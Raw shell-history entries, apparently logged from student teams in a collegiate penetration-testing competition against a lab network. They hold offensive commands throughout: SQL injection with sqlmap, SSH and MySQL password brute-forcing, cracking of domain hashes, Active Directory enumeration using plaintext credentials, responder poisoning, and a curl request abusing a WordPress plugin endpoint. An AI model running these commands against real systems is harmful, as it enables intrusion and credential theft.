_raw:
: 1760814934:0;sqlmap 'http://10.0.1.11/api/auth/login' \\
  -X POST \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' \\
  -H 'Accept: application/json, text/plain, */*' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate' \\
  -H 'Content-Type: application/json' \\
  -H 'Origin: http://10.0.1.11' \\
  -H 'Connection: keep-alive' \\
  -H 'Referer: http://10.0.1.11/login' \\
  -H 'Cookie: mongo-express=s%3A66I1E9AZ8yuEOhchltgx8UTNrtYhOHgN.9pKEfuvl9BtBuExNWe76pV9gJ6GNwpbP%2BvS4wKUWJt4' \\
  -H 'Priority: u=0' \\
  --data-raw '{"email":"f","password":"f"}'


_raw: : 1760814918:0;nmap -sV -p 3306 --script=mysql-info,mysql-empty-password,vuln -oN scans/nmap-mysql 10.0.1.99\


_raw: : 1760814898:0;sudo nmap -sV -p 3306 --script=mysql-info,mysql-empty-password,vuln -oN scans/nmap-mysql 10.0.1.99\


_raw:
#1760814879
curl 'http://10.0.1.14/?rest_route=/click5_sitemap/API/update_html_option_AJAX' -H 'Content-Type: application/json' --data '{"users_can_register": 1}'


_raw:
: 1760814871:0;sqlmap 'http://10.0.1.11/api/auth/login' \\
  -X POST \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' \\
  -H 'Accept: application/json, text/plain, */*' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate' \\
  -H 'Content-Type: application/json' \\
  -H 'Origin: http://10.0.1.11' \\
  -H 'Connection: keep-alive' \\
  -H 'Referer: http://10.0.1.11/login' \\
  -H 'Cookie: mongo-express=s%3A66I1E9AZ8yuEOhchltgx8UTNrtYhOHgN.9pKEfuvl9BtBuExNWe76pV9gJ6GNwpbP%2BvS4wKUWJt4' \\
  -H 'Priority: u=0' \\
  --data-raw '{"email":"f","password":"f"}'


_raw: : 1760814756:0;evil-winrm -u allports.local\druiz -p Sails@way! -i 10.0.1.21


_raw: : 1760814746:0;nxc ldap APT -u rdavis -p rosdav50 --bloodhound --collection All --dns-server 10.0.1.6


_raw: : 1760814741:0;evil-winrm -u allports.local\druiz -p Ports@way! -i 10.0.1.21


_raw:
gobuster dir http://10.0.1.99:8080
gobuster dir --url http://10.0.1.99:8080
sqlmap 10.0.1.11
sqlmap http://10.0.1.11/api/auth/login
nmap -sV -sC 10.0.1.11 -p 8080
nmap 10.0.1.99
ssh root@10.0.1.99
nmap 10.0.1.99
ssh root@10.0.1.99
ssh ro@10.0.1.99
ssh admin@10.0.1.99
curl -L 10.0.1.14
nmap 10.0.1.14
nmap 172.18.0.6
ssh rchen@10.0.1.99
locate rockyo
gunzip /usr/share/wordlists/rockyou.txt.gz
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
hydra
hydra -P /usr/share/wordlists/rockyou.txt -l rchen ssh://10.0.1.99
ffuf
gobuster dns -q  -d http://10.0.1.99:8080 -w /usr/share/wordlists/dirbuster
gobuster dns -q  -d http://10.0.1.99:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
gobuster dns -t 5  -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -d http://10.0.1.99:8080
gobuster dns -t 5  -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -d 10.0.1.99:8080
gobuster dns -t 5  -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -d rooms.allports.tours
curl http://rooms.allports.tours
curl http://allports.tours
curl http://rooms.allports.tours
ls
sudo vim /etc/hosts
curl http://chat.allports.tours
curl https://chat.allports.tours
dirsearch
dirsearch -u http://10.0.1.99:8080
ls
cd /usr/share/wordlists
ls
remmina -c rdp://10.0.1.20
curl http://10.0.1.11
dirsearch -u http://pp-c023.rooms.allports.tours/
dirsearch -u http://pp-c023.rooms.allports.tours


_raw: : 1760814700:0;nxc ldap APT-DC-01 -u rdavis -p rosdav50 --bloodhound --collection All


_raw: : 1760814692:0;nxc ldap APT-DC-01 -u rdavis -p rosdav50 --bloodhound --collection All


_raw: : 1760814596:0;cat .zsh_history | grep hashcat


_raw: : 1760814592:0;cat .zsh_history | cat hashcat


_raw: : 1760814588:0;bloodhound-python -ns 10.0.1.6 -u "rdavis" -p "rosdav50" -d "APT" -c All


_raw:
sudo passwd
sudo passwd kali-box
sudo passwd kali01 kali
clear
sudo passwd kali1
sudo passwd kali01
sudo passwd CPTC11-regional-central-t5-vdi-kali01
$USER
clear
sudo passwd pentester kali
sudo passwd pentester "kali"
clear
sudo passwd pentester
clear
medusa -h 10.0.1.30 -u root -P /usr/share/wordlists/rockyou.txt.gz
hydra
clear
hydra -l root -P /usr/share/wordlists/rockyou.txt.gz ssh://10.0.1.30
clear
nano hosts.txt
cat hosts.txt
clear
nano users.txt
cat users.txt
clear
medusa -H hosts.txt -U users.txt -M ssh -t 10
medusa -H hosts.txt -U users.txt -P /usr/share/wordlists/rockyou.txt.gz -M ssh -t 10
clear
history
medusa -h 10.0.1.30 -u root -P /usr/share/wordlists/rockyou.txt.gz
medusa -h 10.0.1.30 -u root -P /usr/share/wordlists/rockyou.txt.gz -M ssh
medusa -h 10.0.1.30 -u root -P /usr/share/wordlists/rockyou.txt.gz -M ssh -t 10
medusa -h 10.0.1.30 -u admin -P /usr/share/wordlists/rockyou.txt.gz -M ssh -t 10
medusa -h 10.0.1.11 -u admin -P /usr/share/wordlists/rockyou.txt.gz -M ssh -t 50
medusa -h 10.0.1.30 -u admin -P /usr/share/wordlists/rockyou.txt.gz -M ssh -t 50
clear
medusa -h 10.0.1.30 -u root -P /usr/share/wordlists/rockyou.txt.gz -M ssh -t 10


_raw:
gobuster
gobuster -h
clear
gobuster --help
gobuster dir vhost 10.0.1.11
gobuster dir vhost 10.0.1.11 wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir vhost 10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u 10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u 10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
gobuster dir -u 10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt --status-codes-blacklist 200
mysql -h 10.0.1.99 -P 3306 -u root -p
clear
dirbuster
clear
medusa -h
medusa -h 10.0.1.11 -u root -P /usr/share/wordlists/rockyou.txt.gz -M ssh
medusa -h 10.0.1.11 -u root -P /usr/share/wordlists/rockyou.txt.gz -M ssh -t 10


_raw:
burpsuite
nmap -Pn --script=dns-brute http://10.0.1.11/
nmap -Pn --script=dns-brute prod.allports.local
nmap -Pn --script=dns-brute 10.0.1.11
nmap -Pn --script=dns-brute.domain 10.0.1.11
nmap -Pn --script=dns-brute.domain 10.0.1.99
clear
dig
clear
dig 10.0.1.11
msfconsole


_raw: : 1760814571:0;openssl s_client -connect 10.0.1.99:3306 -starttls mysql -showcerts </dev/null 2>/dev/null > mysql-certs.pem\


_raw: : 1760814561:0;bloodhound-python -ns <ip> -u "rdavis" -p "rosdav50" -d "APT" -c All


_raw: : 1760814561:0;openssl s_client -connect 10.0.2.11:3306 -starttls mysql -showcerts </dev/null 2>/dev/null > mysql-certs.pem\


_raw: : 1760814547:0;ffuf -u http://10.0.1.99/api/admin/FUZZ -H "Host: admin.rooms.allports.tours" -w /usr/share/wordlists/dirb/big.txt -recursion


_raw:
clear
nmap -T4 -Pn -p- 10.0.1.10
nmap -T4 -Pn -p- 10.0.1.21
nmap -T4 -Pn -p- -A 10.0.1.21
nmap -T4 -Pn -p- -A 10.0.1.10 tee first.nmap.scan
nmap -T4 -Pn -p- -A 10.0.1.10 | tee first.nmap.scan
nmap -T4 -Pn -p- -A 10.0.1.21 | tee second.nmap.scan
nxc smb 10.0.1.21
nxc smb 10.0.1.21 --shares
smbclient
smbclient -u
smbclient -u anonymous
clear
ls
cat password.txt
sudo su


_raw:
mv allports-bh.zip_20251018150856_bloodhound.zip allports_bh.zip
mv allports_bh.zip ../
cd ../
ll
nxc smb $IP -u 'svc_stabilize' -p '1gyroscope' --pass-pol
nxc smb $IP -u 'svc_stabilize' -p '1gyroscope' --shares
nxc winrm $IP -u 'svc_stabilize' -p '1gyroscope'
nxc smb $IP -u 'rdavis' -p 'rosdav50' --users-export enum_users.txt
tail enum_users.txt
echo [*] Enumerated 290 local users: APT >> enum_users.txt
tail enum_users.txt
cp enum_users.txt ~/Pictures
nxc smb $IP -u '' -p '' --pass-pol
nxc smb $IP -u 'intern' -p '' --pass-pol
nxc rpc $IP -u 'svc_stabilize' -p '1gyroscope'
nxc rdp $IP -u 'svc_stabilize' -p '1gyroscope'
nxc wmi $IP -u 'svc_stabilize' -p '1gyroscope'
nxc wmi $IP -u 'svc_stabilize' -p '1gyroscope' -x 'whoami'
nxc nfs 10.0.1.0/24
nxc nfs 10.0.1.6 --shares
nxc ldap $IP -u 'svc_stabilize' -p '1gyroscope' --computers
nxc ldap $IP/24 -u 'svc_stabilize' -p '1gyroscope' --computers
nxc ldap $IP/24 -u 'svc_stabilize' -p '1gyroscope' --shares


_raw: : 1760814484:0;ffuf -u http://10.0.1.99/api/admin/FUZZ -H "Host: pp-d029.rooms.allports.tours" -w /usr/share/wordlists/dirb/big.txt -recursion


_raw: : 1760814427:0;enum4linux -A prod.allports.local


_raw:
ls -la
cd social-engineer-toolkit
ls -la
setoolkit
sudo setoolkit
exit


_raw:
: 1760814356:0;mysql -h 10.0.2.11 -u '<USER>' -p --ssl-ca=server-cert.pem\
# enter the password when prompted\


_raw: : 1760814189:0;ffuf -u http://10.0.1.99/api/services/FUZZ -H "Host: pp-d029.rooms.allports.tours" -w /usr/share/wordlists/dirb/big.txt -recursion


_raw: : 1760814167:0;hashcat -m 1000 ntds.txt /usr/share/wordlists/rockyou.txt


_raw: : 1760814154:0;ffuf -u http://10.0.1.99/api/FUZZ -H "Host: pp-d029.rooms.allports.tours" -w /usr/share/wordlists/dirb/big.txt -recursion


_raw: : 1760814150:0;ffuf -u http://10.0.1.99/api/FUZZ -H "Host: pp-d029.rooms.allports.tours" -w /usr/share/wordlists/dirb/big.txt -recursive


_raw: : 1760814135:0;hashcat -m 1000 ntds.txt /usr/share/wordlists/rockyou.txt


_raw: : 1760814117:0;enum4linux -A allports.local


_raw: : 1760814103:0;curl 10.0.1.99/api/admin -H "Host: bb-a173.rooms.allports.tours" -v


_raw: : 1760814100:0;python3 -m pip install bs4


_raw: : 1760814100:0;curl 10.0.1.99/api/admin -H "Host: bb-a173.rooms.allports.tours"


_raw: : 1760814091:0;hashcat -m 1000 ntds.txt /usr/share/wordlists/rockyou.txt


_raw: : 1760814089:0;curl -X OPTIONS -H 'Host: test.rooms.allports.tours' http://10.0.1.99/whoami


_raw: : 1760814084:0;curl -X OPTIONS -H 'Host: test.rooms.allports.tours' http://10.0.1.99/api/admin


_raw: : 1760814081:0;ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local,CN=APT-DC-01"


_raw: : 1760814074:0;python3 -m pip install requests


_raw:
sudo 10.0.1.0/24
nmap 10.0.1.0/24
nmap -sn 10.0.1.0/24
cat nmapper.sh
cat password.txt
clear
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.1.14/FUZZ
clear
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.1.14/FUZZ
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.1.14/FUZZ > results.txt | grep 200
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.1.14/FUZZ > results.txt | grep Status:
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.1.14/FUZZ > results.txt | grep Status: 2
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.1.14/FUZZ > results.txt | grep 'Status: 2'
ffuf -w /usr/share/wordlists/dirb/common.txt -u https://10.0.1.14/FUZZ > results.txt | grep 'Status: 2'
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.1.99/FUZZ > results.txt | grep 'Status: 2'
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.1.99\\11/FUZZ > results.txt | grep 'Status: 2'
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.1.1111/FUZZ > results.txt | grep 'Status: 2'
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.1.11/FUZZ > results.txt | grep 'Status: 2'
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.1.11/users/FUZZ > results.txt | grep 'Status: 2'
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.1.11/users/text/FUZZ > results.txt | grep 'Status: 2'
nmap -A 10.0.1.11
nmap 10.0.1.11
nmap 10.0.1.99
clear
nmap 10.0.1.0
nmap 10.0.1.6
sudo ldapsearch -x 10.0.1.6 -D '' -w ''
ldapsearch -x 10.0.1.6 -D '' -w ''
ldapsearch -x -H ldap://10.0.1.6 -D '' -w ''
nslookup 10.0.1.6
nmap -A 10.0.1.6
ldapsearch -x -H ldap://10.0.1.6 -D '' -w '' -b "DC=<allports.local0>,DC=<com>"
ldapsearch -x -H ldap://10.0.1.6 -D '' -w '' -b "DC=<allports.local>,DC=<com>"
ldapsearch -x -H ldap://10.0.1.6 -D '' -w '' -b "DC=<allports>,DC=<local>"
ldapsearch -x -H ldap://10.0.1.6 -D '' -w '' -b "DC=<allports>,DC=<local0>"
nslookup allports.local
adcli info allports.local
ldapsearch -x -H ldap://10.0.1.6 -D '' -w ''
ldapsearch -x -H ldap://10.0.1.6
nmap 10.0.1.11
clear
nmap 10.0.1.14
ls
nmap -A 10.0.1.6
ldapsearch -x -H ldap://10.0.1.6 -D '' -w '' -b "DC=<allports.local0>,DC="
ldapsearch -x -H ldap://10.0.1.6 -D '' -w '' -b "DC=<allports.local0>,DC=<>"
ldapsearch -x -H ldap://10.0.1.6 -D '' -w '' -b "DC=<allports.local>,DC=<>"
ldapsearch -x -H ldap://10.0.1.6 -D '' -w '' -b "DC=<allports.local>,DC=<local0>"
ldapsearch -x -H ldap://10.0.1.6 -s base namingContexts
ldapsearch -x -H ldap://10.0.1.6 -D '' -w '' -b "DC=<allports0>,DC=<local>"
clear
ldapsearch -x -H ldap://10.0.1.6 -D '' -w '' -b "DC=allports,DC=local"
ldapsearch -x -H ldap://10.0.1.6 -D '' -w '' -b "DC=allports,DC=local" cn
ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" cn
ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" "(objectClass=person)" cn
ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" "(objectClass=person)" cn > a.ldif
cat a.ldif
ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local"
ldapsearch -H ldap://10.0.1.6 -b "DC=allports,DC=local"
ldapsearch --x -H ldap://10.0.1.6 -b "DC=allports,DC=local" -s sub "(objectClass=user)"
ldapsearch --x -H ldap://10.0.1.6 -b "DC=allports,DC=local" -s "(objectClass=user)"
clear
ls
ldapsearch --x -H ldap://10.0.1.6 -b "DC=allports,DC=local" -s
ldapsearch --x -H ldap://10.0.1.6 -b "DC=allports,DC=local"
clear
ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" -s
ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" -s "(objectClass=user)"
ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local"
ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" -s
clear
sudo nmap -A 10.0.1.6 > dc.txt
nmap -A 10.0.1.6 > dc.txt
cat dc.txt
kpasswd 10.0.1.6
kpasswd5 10.0.1.6
kpasswd
kpasswd5
ls
cat 10.0.1.6.save
cat results.txt
clear
ls
cat dc.txt
clear
top
clear
ldapsearch -x -H ldap://10.0.1.6 -D 'admin' -w 'admin' -b "DC=allports,DC=local"
ldapsearch -x -H ldap://10.0.1.6 -D 'admin' -w 'password' -b "DC=allports,DC=local"
ldapsearch -x -H ldap://10.0.1.6 -D -w -b "DC=allports,DC=local"
clear
nmap 10.0.1.14
smbclient
smbclient //10.0.1.6 -U rdavis%rosdav50
smbclient //10.0.1.6/ -U rdavis%rosdav50
smbclient -L //10.0.1.6/ -U rdavis%rosdav50
smbclient -L //10.0.1.6/SYSVOL -U rdavis%rosdav50
smbclient //10.0.1.6/SYSVOL -U rdavis%rosdav50
smbclient -L //10.0.1.6/ -U rdavis%rosdav50
smbclient -L //10.0.1.6/ADMIN% -U rdavis%rosdav50
smbclient //10.0.1.6/ADMIN% -U rdavis%rosdav50
smbclient //10.0.1.6/C -U rdavis%rosdav50
smbclient //10.0.1.6/SYSVOL\ -U rdavis%rosdav50
smbclient //10.0.1.6/SYSVOL -U rdavis%rosdav50
smbclient //10.0.1.6/IPC -U rdavis%rosdav50
smbclient //10.0.1.6/NETLOGON -U rdavis%rosdav50
smbclient //10.0.1.6/SYSVOL -U rdavis%rosdav50
clear
smbclient //10.0.1.6/SYSVOL -U rdavis%rosdav50
clear
smbclient //10.0.1.6/SYSVOL -U rdavis%rosdav50
smbclient //10.0.1.6/SYSVOL -U rdavis%rosdav50 --pol
smbclient //10.0.1.6/SYSVOL -U rdavis%rosdav50 --p
clear
smbclient //10.0.1.6/SYSVOL
smbclient -L //10.0.1.6/SYSVOL
smbclient //10.0.1.6/SYSVOL -U rdavis%rosdav50
sl
ls
cat GPT.INI
CLEAR
clear
smbclient //10.0.1.6/SYSVOL -U rdavis%rosdav50
smbclient -L //10.0.1.6/SYSVOL
smbclient -L //10.0.1.6/ -U rdavis%rosdav50
smbclient //10.0.1.6/NETLOGON -U rdavis%rosdav50
nano /etc/host
nano /etc/hosts/
nano /etc/hosts
sudo nano /etc/hosts
clear


_raw: : 1760814044:0;python3 -m pip install --user requests\


_raw: : 1760814030:0;ldapmodify -x -H ldap://10.0.1.6 -D "cn=admin,cn=config" -W -f change_ldap_pass.ldif


_raw: : 1760814015:0;mv traefik-nuclei-15.txt traefik-nuclei-8080.txt


_raw: : 1760814010:0;python3 -m pip install --user requests\


_raw: : 1760813998:0;python3 -m pip install --user requests\


_raw:
ffuf -u http://10.0.1.11/FUZZ -w /home/pentester/Downloads/fuzz_wordlist.txt
ffuf -u http://10.0.1.11/FUZZ -w /home/pentester/Downloads/xss-payload-list.txt
ifconfig
pwd
cd Downloads
steghide info silence.mp3
curl 10.0.1.11
curl http://10.0.1.11/api
nmap -sV 10.0.1.0/24
nc 10.0.1.14 80
nmap -sV 10.0.1.14
ssh admin@10.0.1.14
nc 10.0.1.14 22
sudo tail -f /var/log/gvm/log
cd /var/log/gvm
ls
sudo tail -f /var/log/gvm/*log
msfconsole
ifconfig
msfconsole


_raw: : 1760813978:0;ldapmodify -x -H ldap://10.0.1.6 -D "cn=admin,cn=config" -W -f change_ldap_pass.ldif


_raw: : 1760813970:0;ffuf -H 'Host: test.rooms.allports.tours' -u http://10.0.1.99/whoami/FUZZ -w /usr/share/dirb/wordlists/big.txt


_raw: : 1760813963:0;hashcat -m 1000 ntds.txt /usr/share/wordlists/rockyou.txt


_raw: : 1760813957:0;curl -X OPTIONS -H 'Host: test.rooms.allports.tours' http://10.0.1.99/whoami/api


_raw: : 1760813951:0;ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local"


_raw: : 1760813949:0;hashcat -m 1000 ntds.txt /usr/share/wordlist/rockyou.txt


_raw: : 1760813947:0;ldapsearch -x -H 10.0.1.6 -b "DC=allports,DC=local"


_raw: : 1760813934:0;curl 10.0.1.99/api/admin -H "Host: bb-a173.rooms.allports.tours"


_raw: : 1760813933:0;ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local"


_raw: : 1760813930:0;curl -X OPTIONS -H 'Host: test.rooms.allports.tours' http://10.0.1.99/whoami


_raw: : 1760813918:0;ldapsearch -x -H ldap://10.0.1.6 -s base namingcontexts -b "DC=allports,DC=local"


_raw: : 1760813918:0;hashcat -m 1000 ntds.txt /usr/share/wordlist/rockyou.txt


_raw: : 1760813913:0;curl -X OPTIONS -H 'Host: test.rooms.allports.tours' http://10.0.1.99/api/admin


_raw: : 1760813905:0;curl -H 'Host: test.rooms.allports.tours' http://10.0.1.99/api/admin


_raw: : 1760813899:0;curl -H 'Host: test.rooms.allports.tours' http://10.0.1.99/api/announcements


_raw: : 1760813889:0;hashcat -m 1000 ntds.txt /usr/share/wordlist/rockyou.txt


_raw: : 1760813883:0;./kerbrute userenum --dc 10.0.1.6 -d allports.local ~/dpasswords.txt


_raw: : 1760813880:0;openssl x509 -in server-cert.pem -text -noout\


_raw: : 1760813880:0;ffuf -H 'Host: test.rooms.allports.tours' -u http://10.0.1.99/api/FUZZ -w /usr/share/dirb/wordlists/big.txt


_raw: : 1760813874:0;ffuf -H 'Host: test.rooms.allports.tours' http://10.0.1.99/api/FUZZ -w /usr/share/dirb/wordlists/big.txt


_raw: : 1760813874:0;./kerbrute userenum --dc 10.0.1.6 -d prod.allports.local ~/dpasswords.txt


_raw: : 1760813861:0;ldapsearch -x -H ldap://10.0.1.6 -s base namingcontexts


_raw: : 1760813857:0;ldapsearch -x -H ldap://10.0.1.6 -s base namingcontents


_raw:
# Add Docker's official GPG key:\
sudo apt-get update\
sudo apt-get install ca-certificates curl\
sudo install -m 0755 -d /etc/apt/keyrings\
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc\
sudo chmod a+r /etc/apt/keyrings/docker.asc\
\
# Add the repository to Apt sources:\
echo \\
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \\
  $(. /etc/os-release && echo "${UBUNTU_CODENAME:-$VERSION_CODENAME}") stable" | \\
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null\
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
sudo systemctl status docker
sudo systemctl start docker
sudo docker run hello-world
cd University-Of-Tulsa
cd scripts
ls


_raw: : 1760813843:0;git clone https://github.com/RandomRobbieBF/CVE-2022-0952.git


_raw: : 1760813825:0;curl 10.0.1.99/api/announcements -H "Host: bb-a173.rooms.allports.tours" -v


_raw: : 1760813809:0;curl 10.0.1.99/api/announcments -H "Host: bb-a173.rooms.allports.tours" -v


_raw: : 1760813802:0;mysql -h 10.0.1.99 -u guest -p --connect-timeout=5 -e "SELECT VERSION(), CURRENT_USER();" \


_raw: : 1760813796:0;curl 10.0.1.99/api/admin -H "Host: bb-a173.rooms.allports.tours" -v


_raw: : 1760813793:0;curl 10.0.1.99/api/admin -H "Host: bb-a173.rooms.allports.tours"


_raw: : 1760813793:0;mysql -h 10.0.1.9 -u guest -p --connect-timeout=5 -e "SELECT VERSION(), CURRENT_USER();" \


_raw: : 1760813784:0;nikto -h http://bb-d218.rooms.allports.tours


_raw: : 1760813783:0;curl -H 'Host: test.rooms.allports.tours' http://10.0.1.99/api


_raw: : 1760813781:0;curl -H 'Host: test.rooms.allports.tours' http://10.0.1.99/api/admin


_raw: : 1760813780:0;curl -H 'Host: test.rooms.allports.tours' http://10.0.1.99/api/admin/


_raw: : 1760813777:0;curl -H 'Host: test.rooms.allports.tours' http://10.0.1.99/api/admin/services/open


_raw: : 1760813773:0;ffuf -u http://10.0.1.99/api/FUZZ -H "Host: pp-d029.rooms.allports.tours" -w /usr/share/wordlists/dirb/big.txt


_raw: : 1760813759:0;mysql -h 10.0.2.11 -u guest -p --connect-timeout=5 -e "SELECT VERSION(), CURRENT_USER();" \


_raw: : 1760813749:0;ldapsearch -x -H ldap://10.0.1.6 -D '' -w '' -b "DC=allports,DC=local" -s base '(objectClass=*)'


_raw: : 1760813718:0;nikto -h http://bb-a173.rooms.allports.tours/


_raw: : 1760813712:0;nikto -h https://chat.allports.tours


_raw: : 1760813707:0;nikto -h http://chat.allports.tours


_raw: : 1760813680:0;nikto -h chat.allports.tours


_raw: : 1760813625:0;curl -H 'Host: test.rooms.allports.tours' http://10.0.1.99/api/admin/services?authorized=true


_raw: : 1760813590:0;curl 10.0.1.99/api/id -H "Host: xyz.rooms.allports.tours"


_raw: : 1760813583:0;hydra -L ~pentester/15/fifteenusers -P /usr/share/wordlists/rockyou.txt 10.0.1.15 mysql -o hydraresults


_raw: : 1760813569:0;sudo nmap -sV -p 3306 --script=mysql-empty-password,mysql-info 10.0.1.99\


_raw: : 1760813567:0;curl 10.0.1.99 -H "Host: xyz.rooms.allports.tours"


_raw: : 1760813524:0;hydra -L unames -p 'Sails@way!' -M hydraStuff/targets ssh


_raw: : 1760813512:0;hydra -L unames -p 'Sails@way!' -M targets ssh


_raw: : 1760813482:0;ffuf -u http://10.0.1.99 -H "Host: FUZZ.rooms.allports.tours" -w all_domain_users.txt -fs 3846


_raw: : 1760813447:0;ffuf -u http://10.0.1.99 -H "Host: FUZZ.rooms.allports.tours" -w all_domain_users.txt


_raw:
cd /usr/share/wordlists/rockyou.txt.gz
cd /usr/share/wordlists/
gunzip rockyou.txt.gz
sudo gunzip rockyou.txt.gz
sudo nano /etc/hosts


_raw: : 1760813431:0;ldapsearch -x -LLL -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -b "DC=allports,DC=local" "(&(objectClasss=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dnsAMAccountName dNSHostName userAccountControl


_raw: : 1760813426:0;ffuf -u http//10.0.1.99 -H "Host: FUZZ.rooms.allports.tours" -w all_domain_users.txt -debug


_raw: : 1760813424:0;nikto -h http://bb-a173.rooms.allports.tours/


_raw: : 1760813366:0;curl -H 'Host: test.rooms.allports.tours' http://10.0.1.99/admin.html


_raw: : 1760813358:0;curl -H 'Host: test.rooms.allports.tours' http://10.0.1.99/restricted.html


_raw: : 1760813348:0;ffuf -w othernums.txt -u http://chat.allports.tours/reset_password?token=FUZZ -mc all -fs 169


_raw:
: 1760813337:0;dnsrecon -d allports.local -t axfr -n 10.0.1.6\
dig @10.0.1.6 allports.local axfr


_raw: : 1760813317:0;ffuf -u http//10.0.1.99 -H "Host: FUZZ.rooms.allports.tours" -w all_domain_users.txt


_raw: : 1760813313:0;sqlmap -u "https://app.example.com/item?id=1" --batch --level=2 --risk=1 --dbs\


_raw: : 1760813307:0;ffuf -u http//10.0.1.99 -H "FUZZ.rooms.allports.tours" -w all_domain_users.txt


_raw: : 1760813115:0;curl -H 'Host: test.rooms.allports.tours' http://10.0.1.99/api/admin/services


_raw:
sudo apt-get install -y nodejs
curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash -
sudo npm install -g electron-packager
curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash -\
sudo apt-get install -y nodejs
sudo npm install -g electron-packager
node -v
npm


_raw: : 1760813004:0;curl -H 'Host: test.rooms.allports.tours' http://10.0.1.99/admin.html


_raw: : 1760812971:0;curl -H 'Host: test.rooms.allports.tours' http://10.0.1.99/


_raw: : 1760812966:0;sudo responder -I eth0 -w


_raw: : 1760812961:0;curl -H 'Host: test.rooms.allports.tours' http://10.0.1.99/api/static/


_raw: : 1760812960:0;curl -H 'Host: test.rooms.allports.tours' http://10.0.1.99/api/static


_raw: : 1760812957:0;curl -H 'Host: test.rooms.allports.tours' http://10.0.1.99/api/status


_raw: : 1760812863:0;curl http://10.0.1.99 -H "Host: proxy-cptc11-apps-room-console-cmiller-infra-readiness" -v


_raw: : 1760812861:0;curl http://10.0.1.99 -H "Host: proxy-cptc11-apps-room-console-cmiller-infra-readiness"


_raw: : 1760812822:0;hydra -L ~pentester/15/fifteenusers -P /usr/share/wordlists/rockyou.txt 10.0.1.15 mysql


_raw: : 1760812708:0;curl -H 'Host: test.rooms.allports.tours' http://10.0.1.99/api


_raw:
sudo nginx
ls
cd University-Of-Tulsa
cd scripts
ls
sudo ./base_install.sh
sudo ./docker_install.sh
sudo docker_install.sh
ls
sudo ./network_tools.sh
cd ../\
cd ../
ls


_raw:
cd privilege-escalation-awesome-scripts-suite
find . -iname "winPEAS*.exe"
sudo cp ./privilege-escalation-awesome-scripts-suite/winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe /var/www/html
ls
cd ../
sudo cp ./privilege-escalation-awesome-scripts-suite/winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe /var/www/html
find . -iname "winPEAS*.exe"
rm -rf privilege-escalation-awesome-scripts-suite
git clone https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git
find . -iname "winPEAS*.exe"
sudo cp ./privilege-escalation-awesome-scripts-suite/winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe /var/www/html
ls
cd Downloads
ls
sudo cp winPEASx64.exe /var/www/html


_raw:
bloodhound-python
ns 10.0.1.10
bloodhound-python -d 10.0.1.6


_raw:
ssh 10.0.1.10
bloodhound-python -u neo4j -p neo4j -d 10.0.1.6


_raw:
clear
sudo apt install
cat /etc/hosts
clear
sudo apt install seclists


_raw:
ls
cd ~
cd The-University-Of-Texas-at-San-Antonio
clear
ls
cd reporting
clear
ls
unzip obsidian_final_2.zip
clear
ls
cd obsidian_final
clear
ls
cd ..
ls
cp -r obsidian_final /srv/obsidian-vault/vault
clear
sudo apt install obsidian
clear
ls /
sudo chown -R 7777 /srv/obsidian-vault
sudo chmod -R 7777 /srv/obsidian-vault
clear
nmap -sV -sV -T4 10.0.1.11 -oN 10.0.1.11
clear
ffuf
clear
l
scd ..
cd ..
clear
ls
./terminal_config.zsh
chmod +x ./terminal_config.zsh
./terminal_config.zsh
clear
zsh


